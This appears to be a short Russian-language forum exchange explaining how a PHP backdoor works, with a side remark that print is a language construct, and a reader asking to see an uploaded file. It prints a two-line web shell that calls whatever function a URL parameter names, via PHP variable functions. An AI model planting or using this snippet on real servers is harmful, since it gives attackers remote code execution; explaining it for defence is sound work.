Бекдор в php — как это работает?
print() is not actually a real function (it is a language construct) — поэтому у вас с print не получилось ничего.
Как эта штука работает? Очень просто:
$func=@$_GET[c];
$func($_GET[f]);

Используется фича под названием Variable functions
Простите, а на файл ".../upload/to.php" можно как то взглянуть? Уж очень интересно, чего там запаковали =)